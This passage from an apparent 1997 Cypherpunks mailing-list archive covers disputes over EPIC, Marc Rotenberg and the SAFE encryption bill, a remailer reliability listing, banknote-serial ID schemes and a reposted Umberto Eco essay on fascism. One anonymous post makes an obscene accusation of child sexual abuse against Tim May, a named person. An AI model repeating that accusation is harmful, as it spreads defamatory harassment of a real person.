"use a gun, go to prison" >sentencing enhancements, but a stronger case can be made than for "use a >cipher, go to prison. I don't need the lecture. I've made the argument better than you have and I've made it longer than you have. I don't recall you protesting the Computer Fraud and Abuse Act (1984), working on the RTM case (a CFAA prosecution in 1988). You weren't involved in the FOIA case for 2600. > >So, Marc can immediately prove the honesty of his point by: > >a. denouncing any "return address" requirements and refusing to cooperate >with any Congressthing who espouses such wrong-headed ideas Great plan. I'll watch TV and let Congress pass a bill requiring mandatory identification for Internet users. Really clever. > >b. denounce SAFE if it has any hint whatsoever of criminalization of crypto > >(Or of any of the (apparent) language about technical review panels >deciding on exports...this is, to many of us, a code phrase indicating that >SAFE will by no means make export of arbitrarily unbreakable ciphers an >automatic process.) This is getting tiring. Who do you think first opposed the proposed amendment to Pro-CODE creating the review board? You are behind the curve, but you act like you're way out in front. I'm probably in a much better position to criticize the failure of Tim May et al to stand up for crypto freedom than the other way around. >Being a rejectionist, I don't see the point of dealing with Congress. The >usual view is that "If you don't get involved, things will be even worse." >I'm not convinced of this. It's often better to not lend them any support, >not lend them any technical expertise, and devote all energies to >undermining and challenging their actions later. And the existence proof of this proposition is . . . > >And helping them draft legislation only feeds the process. > >I think it was George Carlin who said, "If you think you're part of the >solution, you're part of the problem." Good high school humor for a good high school philosophy. I am underwhelmed. Marc. Marc. From nobody at faust.guardian.co.uk Mon Jun 2 14:17:37 1997 From: nobody at faust.guardian.co.uk (Shift Control) Date: Mon, 2 Jun 1997 14:17:37 -0700 (PDT) Subject: Curl up and dye Message-ID: <199706020854.JAA14698@faust.guardian.co.uk> This week, in the Hair issue of Shift Control... "To be fair, I've never left a hairdresser's happy. In fact, I don't know anyone who hasn't fled from a hairdresser's in search of the nearest reflective surface (I chose the window of an Iranian rug importer on Piccadilly) to try and rub away the salon-induced feeling of idiocy. But on this day I was particularly woeful. The haircut was nothing a five-year-old boy would have been ashamed of. But I'm a bit older than that. My own mother, who I saw later that day for the first time in two years, said I looked like a 'dork'." - Paul Robinson on getting a high-class haircut. "'And the new world champion for imperial whiskers is... Jurgen Burkhardt!' When it dawned on the short German dressed in the Kaiser outfit that he'd won his event, the loops at either end of his huge moustache began to twitch maniacally. The dimensions of the new world champion's imperial growth were staggering. From left to right, including the loops, it From lucifer at dhp.com Sun Jun 1 23:29:46 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Mon, 2 Jun 1997 14:29:46 +0800 Subject: Firewalls Message-ID: <199706020614.CAA28437@dhp.com> Timmy C[retin] May prefers to have sex with little kids because his own penis is like that of a three-year-old. ____ _(____)_ _ooO_(_o__o_)_Ooo_ Timmy C[retin] May From pgut001 at cs.auckland.ac.nz Mon Jun 2 00:58:38 1997 From: pgut001 at cs.auckland.ac.nz (Peter Gutmann) Date: Mon, 2 Jun 1997 15:58:38 +0800 Subject: Creating a unique ID number for a dollar Message-ID: <86523747331750@cs26.cs.auckland.ac.nz> Death rays from Mars made Tim May write: >There's a way to generate a number for any person which is unique. It is not >shared by anyone else on the planet. It's not guaranteed unique. First, the dollar you use may be a forgery (why forge a dollar? I don't know, maybe they're practicing on low-denomination notes which noone ever looks at closely so they can get the twenties and hundreds perfect. I have a vague memory of someone doing this with either US dollars or UK pound notes some time ago, motivated by the "noone would ever bother forging a dollar/pound, so it has to be genuine" mentality). In addition you'd have to specify "US dollar" rather than just "dollar" because, apart from the different serial number formats, some countries will reissue banknotes if the originals are damaged in printing, which leads to the possibility of two (legitimate) notes with the same serial number being in circulation if the original isn't destroyed as required (I have some of these replacement notes for now-defunct NZ dollar and two-dollar notes stashed away somewhere). Does the US Treasury issue replacement notes if the originals are damaged in printing, or does it just destroy the notes and leave it at that? Peter. From shamrock at netcom.com Mon Jun 2 01:04:49 1997 From: shamrock at netcom.com (Lucky Green) Date: Mon, 2 Jun 1997 16:04:49 +0800 Subject: May's Banal Rant In-Reply-To: Message-ID: <3.0.2.32.19970602005500.006de554@netcom13.netcom.com> At 12:31 AM 6/2/97 -0400, Marc Rotenberg wrote: >Great plan. I'll watch TV and let Congress pass a bill >requiring mandatory identification for Internet users. >Really clever. First of all, such a bill will be passed regardless of what you or anyone else does. The only question is when. You may be able to delay passing of this bill for a few years, perhaps even a few decades, but pass it will. So let us turn to the more relevant question: is it better for such bill to pass now or ten years from now? It may seem obvious that the answer is "ten years from now", but I feel that it not nearly as obvious as it seems and in fact may even not be correct. Ten years and a few Sarin attacks on American subways and other Reichstag Fires later, such a bill will pass with the full backing of Joe Sixpack and Jill Soccer Mom. The passing will be a formality. If, however, Congress was to pass such a bill now or in the very near future, the population would recognize the law for what it is: yet another fascist powergrab. Which in turn might trigger the exercise of certain recall provisions available to the citizens of the US thanks to the Bill of Right. It is up to each of us to decide which of these two possible futures is "better". --Lucky Green PGP encrypted mail preferred. Put a stake through the heart of DES! Join the quest at http://www.frii.com/~rcv/deschall.htm From Michael at lawprof.demon.co.uk Mon Jun 2 04:56:55 1997 From: Michael at lawprof.demon.co.uk (Michael Froomkin) Date: Mon, 2 Jun 1997 19:56:55 +0800 Subject: May's Banal Rant Message-ID: <6333@lawprof.demon.co.uk> I don't understand this. Of all the alphabet soup privacy groups out there, EPIC is the one I consider most pro-privacy and anonymity other than the ACLU itself. And EPIC knows the tech better, on the whole (although the ACLU is quite clued-up too). It is true that EPIC is not absolutist on SAFE -- and I'm not quite sure that they are right to give even the inch they gave to get a mile -- but they're awfully good. Rotenburg should be a near-hero to most readers of this list. Instead, canabalism. Weird. Very weird. That does it. When I get back to the US, I'm sending EPIC a donation. -- Michael Froomkin until 6/11: michael at lawprof.demon.co.uk Associate Professor of Law Various Points, England froomkin at law.miami.edu <-- this will still find me, eventually PO Box 248087 Coral Gables, FL 33124-8087 "Rain in parts, then dry" --BBC http://www.law.miami.edu/~froomkin From rah at shipwright.com Mon Jun 2 06:20:08 1997 From: rah at shipwright.com (Robert Hettinga) Date: Mon, 2 Jun 1997 21:20:08 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: Message-ID: At 11:47 pm -0400 on 6/1/97, Declan McCullagh wrote: > until Marc started yelling about libertarians being "Pod People," or at > least possessing similar critical thinking skills. :) Same as it ever was. It's a common rhetorical device used by totalitarian fellow-travellers everywhere. Call something its opposite and destroy its objective meaning in the process. Orwell's "Freedom is Slavery" line is the best example I can think of. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ From paul at fatmans.demon.co.uk Mon Jun 2 06:40:37 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Mon, 2 Jun 1997 21:40:37 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: <3.0.2.32.19970601180348.03461abc@keystone.intergate.net> Message-ID: > 5. Social Security number > Why does the store need my social security number for me to purchase soft > drinks and eggs? (40 cents off on eggs this week) I see no reason for it. > If I provide a false number, I have probably committed some crime. > Yes, I would support a law that forbids private companies to ask for social > security numbers except for tax purposes. The store is someones property. Whether it is part of a large Plc, a limited company, a sole trader etc. there is someone who owns that store. They decide what the fuck happens on their own property. If customers stop shopping there most stores, through the simple need for economic survival, will change their practices to attract customers. It is no business of yours if the store asks for your sexual orientation before they sell you a pack of butts, if you don`t like it, walk out. For fucks sake, do you understand nothing of basic theory? I have long been slandering and bemoaning the current state of the various EFFs/ACLU/PI/CSPR type organisations as they have clearly sold out, and, as is obvious from the post quoted above, most don`t even have a clue what they are talking about. Marc, you are doing more harm than good, go and read some basic books and get an understanding of the notion of private property and non-agression, then I will bother to respond properly to any well stated point. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Mon Jun 2 07:05:56 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Mon, 2 Jun 1997 22:05:56 +0800 Subject: May's Banal Rant In-Reply-To: <6333@lawprof.demon.co.uk> Message-ID: > I don't understand this. Of all the alphabet soup privacy groups out > there, EPIC is the one I consider most pro-privacy and anonymity other > than the ACLU itself. And EPIC knows the tech better, on the whole > (although the ACLU is quite clued-up too). It is true that EPIC is not > absolutist on SAFE -- and I'm not quite sure that they are right to give > even the inch they gave to get a mile -- but they're awfully good. I agree EPIC has been one of the better groups, but I personally feel none of them can ever do any good: They all sell out in the name of compromise. Also, they seem to have people within them that simply do not understand what they are talking about, for example, Marc yesterday commented that he would support a law to ban private companies asking for SSNs for anything other than tax purposes, this is a clear misunderstanding of the nature of private companies and private property. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From raph at CS.Berkeley.EDU Mon Jun 2 07:19:59 1997 From: raph at CS.Berkeley.EDU (Raph Levien) Date: Mon, 2 Jun 1997 22:19:59 +0800 Subject: List of reliable remailers Message-ID: <199706021350.GAA12974@kiwi.cs.berkeley.edu> I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list at kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys at kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list at kiwi.cs.berkeley.edu. $remailer{"extropia"} = " cpunk pgp special"; $remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = " cpunk mix pgp hash latent cut post ek"; $remailer{"exon"} = " cpunk pgp hash latent cut ek"; $remailer{"haystack"} = " cpunk mix pgp hash latent cut ek"; $remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek"; $remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek"; $remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord"; $remailer{'nym'} = ' newnym pgp'; $remailer{"balls"} = " cpunk pgp hash latent cut ek"; $remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek"; $remailer{"middle"} = " cpunk mix pgp hash latent cut ek reord"; $remailer{'cyber'} = ' alpha pgp'; $remailer{"dustbin"} = " cpunk pgp hash latent cut ek mix reord middle"; $remailer{'weasel'} = ' newnym pgp'; $remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek"; $remailer{"shaman"} = " cpunk pgp hash latent cut ek"; $remailer{"hidden"} = " cpunk pgp hash latent cut"; catalyst at netcom.com is _not_ a remailer. lmccarth at ducie.cs.umass.edu is _not_ a remailer. usura at replay.com is _not_ a remailer. remailer at crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix) (weasel squirrel) The alpha and nymrod nymservers are down due to abuse. However, you can use the nym or weasel (newnym style) nymservers. The cyber nymserver is quite reliable for outgoing mail (which is what's measured here), but is exhibiting serious reliability problems for incoming mail. The squirrel and winsock remailers accept PGP encrypted mail only. 403 Permission denied errors have been caused by a flaky disk on the Berkeley WWW server. This seems to be fixed now. The penet remailer is closed. Last update: Mon 2 Jun 97 6:45:35 PDT remailer email address history latency uptime ----------------------------------------------------------------------- hidden remailer at hidden.net ########-##* 27:13 100.00% jam remailer at cypherpunks.ca ************ 10:49 99.96% winsock winsock at rigel.cyberpass.net -+------+--- 4:03:03 99.93% weasel config at weasel.owl.de ++-++++++++ 1:51:36 99.91% squirrel mix at squirrel.owl.de ++-+++++-++ 1:52:02 99.87% cyber alias at alias.cyberpass.net +* *++****** 13:57 99.86% replay remailer at replay.com ****** ***** 11:57 99.75% mix mixmaster at remail.obscura.com -.---***.- 7:32:07 96.99% lucifer lucifer at dhp.com ++-+++++++ 49:21 95.54% reno middleman at cyberpass.net ++- --+--+ 1:44:06 90.54% balls remailer at huge.cajones.com #*####*### 1:27 82.42% nym config at nym.alias.net *#*** 3:02 37.19% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien From rah at shipwright.com Mon Jun 2 07:44:04 1997 From: rah at shipwright.com (Robert Hettinga) Date: Mon, 2 Jun 1997 22:44:04 +0800 Subject: Australian explosion explained... Message-ID: > > S P A C E V I E W S > Volume Year 1997, Issue 6 > June 1997 > http://www.seds.org/spaceviews/9706/ > Things That Go Boom in the Night: Scientists working for the National > Science Foundation have concluded that a peculiar, loud explosion heard > in the Australian outback in September 1993 was just a meteorite, and > not evidence of terrorist activity. The explosion seemed to be located > near a ranch owned by Aum Shinrikyo, a Japanese cult linked to the > gassing of the Tokyo subway system in 1995 that injured thousands of > morning commuters. The cult was reported interested in developing > nuclear weapons and was mining uranium in the area. However, seismic > data recorded during the event are better explained by a small iron > meteorite crashing to Earth. The meteorite explanation also fits well > with reports of a bright streak seen in the sky at the time of the > explosion. ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ From ericm at lne.com Mon Jun 2 08:04:39 1997 From: ericm at lne.com (Eric Murray) Date: Mon, 2 Jun 1997 23:04:39 +0800 Subject: May's Banal Rant In-Reply-To: <3.0.2.32.19970602005500.006de554@netcom13.netcom.com> Message-ID: <199706021447.HAA19930@slack.lne.com> Lucky Green writes: > > At 12:31 AM 6/2/97 -0400, Marc Rotenberg wrote: > >Great plan. I'll watch TV and let Congress pass a bill > >requiring mandatory identification for Internet users. > >Really clever. > > First of all, such a bill will be passed regardless of what you or anyone > else does. The only question is when. You may be able to delay passing of > this bill for a few years, perhaps even a few decades, but pass it will. > > So let us turn to the more relevant question: is it better for such bill to > pass now or ten years from now? It may seem obvious that the answer is "ten > years from now", but I feel that it not nearly as obvious as it seems and > in fact may even not be correct. > > Ten years and a few Sarin attacks on American subways and other Reichstag > Fires later, such a bill will pass with the full backing of Joe Sixpack and > Jill Soccer Mom. The passing will be a formality. > > If, however, Congress was to pass such a bill now or in the very near > future, the population would recognize the law for what it is: yet another > fascist powergrab. Which in turn might trigger the exercise of certain > recall provisions available to the citizens of the US thanks to the Bill of > Right. > > It is up to each of us to decide which of these two possible futures is > "better". If those were the only two futures, you'd be right. However it's more likely that if an 'Internet drivers license' bill passed next week, Joe and Jill wouldn't care. They're not on the Net anyhow, and they already know (by reading _Time_ and watching TV) that the Net is full of hackers and porn. An Internet Drivers License would help authorities crack down on hackers, or so the tv would tell Jack and Jill (and they'd beleive it). In addition, few people care about anonymity. Jack and Jill certainly dont. Try explaining why net users should be allowed to be anonymous to someone who barely understands the net. Like your parents for example. If an 'Internet drivers license' bill passed next week, it'd take at least a year to get it repealed (probably much longer). During that time, if the government wished to do so, it could stage any number of provocative acts, blame them on 'Internet Terrorists', then get James Kallstron on tv to announce that the 'Terrorists' have been caught via their Internet Drivers Licenses. -- Eric Murray ericm at lne.com Privacy through technology! Network security and encryption consulting. PGP keyid:E03F65E5 From tien at well.com Mon Jun 2 08:09:27 1997 From: tien at well.com (Lee Tien) Date: Mon, 2 Jun 1997 23:09:27 +0800 Subject: Rotenberg or Berman? (was Re: e$: Beltway piglets and otherbarnyard animals) In-Reply-To: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 5:01 PM -0700 6/1/97, Robert Hettinga wrote: [snip] >First, he led EFF to ignominious defeat with the digital telephony bill, >and now, like some kind of political gremlin, emerging unscathed after >engineering *that* jumbo-jet plane crash, he starts up EPIC, where he >slipstreams no-brainer ACLU court cases like CDA to stay in the beltway >pelleton. Marc Rotenberg never led EFF; he led CPSR-Washington which became EPIC. Bob may be thinking of Jerry Berman, who ran EFF for a few years, was involved in its actions re Digital Telephony, and then left to start up CDT. Lee -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQA/AwUBM5Le07k2KqHYSFEtEQKdDgCfRCfj9gpGTwhkRC+jlF0uJpUP4ZkAnjmh bokDWXhLutiIPQTTzeYhe600 =KJm9 -----END PGP SIGNATURE----- From jya at pipeline.com Mon Jun 2 08:26:03 1997 From: jya at pipeline.com (John Young) Date: Mon, 2 Jun 1997 23:26:03 +0800 Subject: May-Rotenberg Are Not the Uber Enemy Message-ID: <1.5.4.32.19970602144902.0091c4a4@pop.pipeline.com> To escalate the May-Rotenberg debate by reminding that there are deadly enemies to be exposed and fought together rather than apart: To: deleuze-guattari at jefferson.village.Virginia.edu> Date: Sun, 1 Jun 1997 18:15:58 -0400 (EDT) From: Tom Maria Blancato Fourteen Ways of Looking at a Blackshirt Umberto Eco, New York Review of Books, excerpted with permission in the Utne Reader, Nov./Dec. 1995, no. 72, pps. 57-59 In spite of some fuzziness regarding the difference between various historical forms of fascism, I think it is possible to outline a list of features that are typical of what I wold like to call Ur-Fascism, or eternal Fascism. These features cannot be organized into a system; many of them contradict each other, and are also typical of other kinds of despotism or fanaticism. But it is enough that one of them be present to allow fascism to coagulate around it. 1. The first feature of Ur-Fascism is the *cult of tradition*. Traditionalism is of course much older than fascism. Not only was it typical of counterrevolutionary Catholic thought after the French revolution, but it was born in the late Hellenistic era, as a reaction to classical Greek rationalism. In the Mediterranean basin, people of different religions (most of the faiths indulgently accepted by the Roman pantheon) started dreaming of a reelation received at the dawn of human history. This reelation, according to the traditionalist mystique, had remained for a long time concealed under the veil of forgotten languages -- in Egyptian hieroglyphs, in the Celtic runes, in the scrolls of the little-known religions of Asia. This new culture had to be *syncretistic*. Syncreticism is not only , as the dictionary says, "the combination of different forms of belief or practice"; such a combination must tolerate contradictions. Each of the original messages contains a sliver of wisdom, and although they seem to say different or incompatible things, they all are nevertheless alluding, allegorically, to the same primeval truth. As a consequence, there can be no advancement of learning. Truth already has been spelled out once and for all, and we can only keep interpreting its obscure message. If you browse in the shelves that, in American bookstores, are labeled New Age, you can find there even Saint Augustine, who, as far as I know, was not a fascist. But combining Saint Augustine and Stonehenge -- that is a symptom of Ur-Fascism. 2. Traditionalism implies the *rejection of modernism*. Both Fascist and Nazis worshiped technology, while traditionalist thinkers usually reject it as a negation of traditional spiritual values. However, even though Nazism was proud of its industrial achievements, its praise of modernism was only the surface of an ideology based upon blood and earth (*Blut und Boden*). The rejection of the modern world was disguised as a rebuttal of the capitalistic way of life. The Enlightenment, the Age of Reason, is seen as the beginning of modern depravity. In this sense Ur-Fascism can be defined as *irrationalism*. 3. Irrationalism also depends on the cult of *action for action's sake*. Action being beautiful in itself, it must be taken before, or without, reflection. Thinking is a form of emasculation. Therefore culture is suspect insofar as it is identified with critical attitudes. Distrust of the intellectual world has always been a symptom of Ur_Fascism, from Hermann Goering's fondness for a phrase from a Hanns Johst play ("When I hear the word 'culture' I reach for my gun") to the frequent use of such expressions as "degenerate intellectuals," "eggheads," "effete snobs," and "universities are nests of reds." The official Fascist intellectuals were mainly engaged in attacking modern culture and the liberal intelligensia for having betrayed traditional values. 4. The critical spirit makes distinctions, and to distinguish is a sign of modernism. In modern culture the scientific community praises disagreement as a way to improve knowledge. for Ur-Fascism, *disagreement is treason*. 5. Besides, disagreement is a sign of diversity. Ur-Fascism grows up and seeks consensus by exploiting and exacerbating the natural *fear of difference*. The first appeal of a fascist or prematurely fascist movement is an appeal against the intruders. Thus Ur-Fascism is racist by definition. 6. Ur-Fascism derives from individual or social frustration. that is why one of the most typical features of this historical fascism was the *appeal to a frustrated middle class*, a class suffering from an economic crisis or feelings of political humiliation, and frightened by the pressure of lower social groups. In our time, when the old "proletarians" are becoming petty bourgeois (and the lumpen are largely excluded from the political scene), the fascism of tomorrow will find its audience in this new majority. 7. To people who feel deprived of a clear social identity, Ur-Fascism says that their only privilege is the most common one, to be born in the same country. This is the origin of nationalism. Besides, the only ones who can provide an identity to the nation are its enemies. Thus at the root of the Ur_fascist psychology there is the *obsession with a plot*, possibly an international one. The followers must feel besieged. The easiest way to solve the plot is to appeal to xenophobia. But the plot must come from he inside. Jews are usually the best target because they have the advantage of being at the same time inside and outside. In the United States, a prominent instance of the plot obsession is to be found in Pat Robertson's *The New World Order*, but, as we have recently seen, there are many others. 8. The followers must feel *humiliated by the ostentatious wealth and force of their enemies*. When I was a boy I was taught to think of Englishmen as the five-meal people. They ate more frequently than the poor but sober Italians. Jews are rich and help each other through a secret web of mutual assistance. However, the followers of Ur_Fascism must also be convinced that they can overwhelm the enemies. Thus, by a continuous shifting of rhetorical focus, the enemies are at the same time too strong and too weak. Fascist governments are condemned to lose wars because they are constitutionally incapable of objectively evaluating the force of the enemy. 9. For Ur-Fascism there is no struggle for life but, rather, life is lived for struggle. Thus *pacifism is trafficking with the enemy*. This is bad because *life is permanent warfare*. This, however, brings about an Armageddon complex. Since enemies have to be defeated, there must be a final battle, after which the movement will have control of the world. But such a "final solution" implies a further era of peace, a Golden Age, which contradicts the principle of permanent war. No fascist leader has ever succeeded in solving this predicament. 10. Elitism is a typical aspect of any reactionary ideology, insofar as it is fundamentally aristocratic, and aristocratic and militaristic elitism cruelly implies *contempt for the weak*. Ur-Fascism can only advocate a popular elitism. Every citizen belongs to the best people of the world, the member of the party are the best among the citizens, every citizen can (or ought to) become a member of the party. But there cannot be patricians without plebeians. In fact, the Leader, knowing that his power was not delegated to him democratically but was conquered by force, also knows that his force is based upon the weakness of the masses; they are so weak as to need and deserve a ruler. 11. In such a perspective *everybody is educated to become a hero*. In every mythology the hero is an exceptional being, but in Ur-Fascist ideology heroism is the norm. This cult of heroism is strictly linked with the cult of death. It is not by chance that a motto of the Spanish Falangist was *Viva la Muerte* ("Long Live Death!"). In nonfascist societies, the lay public is told that death is unpleasant but must be faced with dignity; believers are told that it is the painful way to reach a supernatural happiness. By contrast, the Ur-Fascist hero craves heroic death, advertised as the best reward for a heroic life. The Ur-Fascist hero is impatient to die. In his impatience, he more frequently sends other people to death. 12. Since both permanent war and heroism are difficult games to play, *the Ur-Fascist transfers his will to power to sexual matters*. This is the origin of machismo (which implies both disdain for women and intolerance and condemnation of nonstandard sexual habits, from chastity to homosexuality). Since even sex is a difficult game to play, the Ur_Fascist hero tends to play with the weapons -- doing so becomes an ersatz phallic exercise. 13. Ur-Fascism is based upon a *selective populism*, a qualitative populism, one might say. In a democracy, the citizens have individual rights, but the citizens in their entirety have a political impact only from a quantitative point of view -- one follows the decisions of the majority. For Ur-Fascism, however, the individuals as individuals have no rights, and the People is conceived as a quality, a monolithic entity expressing the Common will. Since no large quantity of human beings can have a common will, the Leader pretends to be their interpreter. Having lost their power of delegation, citizens do not act; they are only called on to play the role of the People. Thus the People is only a theatrical fiction. there is in our future a TV or Internet populism, in which the emotional responses of a selected group of citizens can be presented and accepted as the Voice of the People. Because of its qualitative populism, Ur-Fascism must be *against "rotten" parliamentary governments*. Wherever a politician casts doubt on the legitimacy of a parliament because it no longer represents the Voice of the People, we can smell Ur-Fascism. 14. *Ur-Fascism speaks Newspeak*. Newspeak was invented by Orwell, in _1984_, as the official language of what he called Insoc, English Socialism. But elements of Ur-Fascism are common to different forms of dictatorship. All the Nazi or Fascist schoolbooks made use of an impoverished vocabulary, and an elementary syntax, in order to limit the instruments for complex and critical reasoning. But we must be ready to identify other kinds of Newspeak, even if they take the apparently innocent form of a popular talk show. Ur-Fascism is still around us, sometimes in plainclothes. It would be so much easier for us if there appeared on the world scene somebody saying, "I want to reopen Auschwitz, I want the blackshirts to parade again in the Italian squares." Life is not that simple. Ur-Fascism can come back under the most innocent of disguises. Our duty is to uncover it and to point our finger at any of its new instances -- ever day, in every part of the world. Franklin Roosevelt's words on November 4, 1938, are worth recalling: "If American democracy ceases to move forward as a living force, seeking day and night by peaceful means to better the lot of our citizens, facism will grow in strength in our land." Freedom and liberation are an unending task. From nobody at REPLAY.COM Mon Jun 2 09:24:54 1997 From: nobody at REPLAY.COM (Anonymous) Date: Tue, 3 Jun 1997 00:24:54 +0800 Subject: May's Banal Rant Message-ID: <199706021558.RAA27508@basement.replay.com> Michael Froomkin wrote: >I don't understand this. Of all the alphabet soup privacy groups out >there, EPIC is the one I consider most pro-privacy and anonymity other >than the ACLU itself. And EPIC knows the tech better, on the whole >(although the ACLU is quite clued-up too). It is true that EPIC is not >absolutist on SAFE -- and I'm not quite sure that they are right to give >even the inch they gave to get a mile -- but they're awfully good. > >Rotenburg should be a near-hero to most readers of this list. Instead, >canabalism. Weird. Very weird. What most of us think is very weird is Rotenburg's apparent inability to carry on a coherent dialogue. Tim May raised several solid and specific points. We've got back ad hominem attacks on "libertarians". Instead of name calling, Rotenburg would have done well to simply justify (or change) his position. At this point, Mr. Rotenburg and his supporters should explain exactly what it is they do for us and how we can verify it. "We arrived at a compromise with the Senate" is not persuasive to most of the people on this list. When you believe that privacy will be promoted by hiring more bureacrats the level of trust warranted is not high. So, if EPIC is doing any good, it had better be the kind of good we can monitor. As for the ACLU, they are notoriously inconsistent when it comes to the Constitution. They seem to be pretty good with the First Amendment, but that's about it. They undermine the Second Amendment. They campaign for welfare on the basis that it is a prerequisite for the exercise of civil rights. They sue aspirin manufacturers for labelling their products in English. They push "fair" credit laws. Etc. Etc. We don't need friends like the ACLU or, it appears, EPIC. Dr. Roberts From tcmay at got.net Mon Jun 2 09:52:46 1997 From: tcmay at got.net (Tim May) Date: Tue, 3 Jun 1997 00:52:46 +0800 Subject: Creating a unique ID number for a dollar In-Reply-To: <86523747331750@cs26.cs.auckland.ac.nz> Message-ID: At 12:44 PM -0700 6/2/97, Peter Gutmann wrote: >Death rays from Mars made Tim May write: > >>There's a way to generate a number for any person which is unique. It is not >>shared by anyone else on the planet. > >It's not guaranteed unique. First, the dollar you use may be a forgery (why >forge a dollar? I don't know, maybe they're practicing on low-denomination Sure, these are all possible protocol failures. (Likewise, one could use the number but not destroy the bill and instead pass it on, thus producing collisions.) Assuming the bill is not a forgery...not terribly hard to confirm, especially if given the time likely to plan for execution of the protocol--and assuming one follows the protocol.... (Note: costs of forgery are real. Fibers in the paper, the paper itself, etc. I doubt it would be economical for a forger to enter the dollar bill market. Maybe specifically to spoof the protocol, but that is guarded against in the expected ways, e.g., by picking from a large pool of bills at, say, a flea market or other business, by choosing a well-worn bill, etc. Neither information-theoretically nor cryptographically secure, to be sure, but "agorically secure," to coin a phrase.) >somewhere). Does the US Treasury issue replacement notes if the originals >are >damaged in printing, or does it just destroy the notes and leave it at that? Don't know. But certainly a dollar bill burned up as part of this protocol is unknown to them, and would of course never be reprinted (print runs are obviously done in large batches, with auto-indexing of numbers across sheets, so "one-offs" would never be done anyway). --Tim May > >Peter. There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From tcmay at got.net Mon Jun 2 09:58:50 1997 From: tcmay at got.net (Tim May) Date: Tue, 3 Jun 1997 00:58:50 +0800 Subject: May's Banal Rant In-Reply-To: <6333@lawprof.demon.co.uk> Message-ID: At 4:14 AM -0700 6/2/97, Michael Froomkin wrote: >I don't understand this. Of all the alphabet soup privacy groups out >there, EPIC is the one I consider most pro-privacy and anonymity other >than the ACLU itself. And EPIC knows the tech better, on the whole >(although the ACLU is quite clued-up too). It is true that EPIC is not >absolutist on SAFE -- and I'm not quite sure that they are right to give >even the inch they gave to get a mile -- but they're awfully good. > >Rotenburg should be a near-hero to most readers of this list. Instead, >canabalism. Weird. Very weird. > >That does it. When I get back to the US, I'm sending EPIC a donation. Cannibalism? You overstate the level of crititcism here. Granted, my initial thread title, "Rotenberg as the Uber Enemy," was provocative...deliberately so. Provocative titles get attention (yes, I congratulate Rotenberg on choosing the current thread title!). When a leading privacy spokesman makes soothing noises on CNN about the need to control spam by looking into how spammers gather their information, and when CDT, EPIC, etc., have still not withdrawn their support for SAFE despite the "use a cipher, go to prison" language, they deserve our criticism. (In fact, CDT's latest press release on the status of SAFE makes not a single mention of the criminalization of crypto language.) EPIC is not being singled out 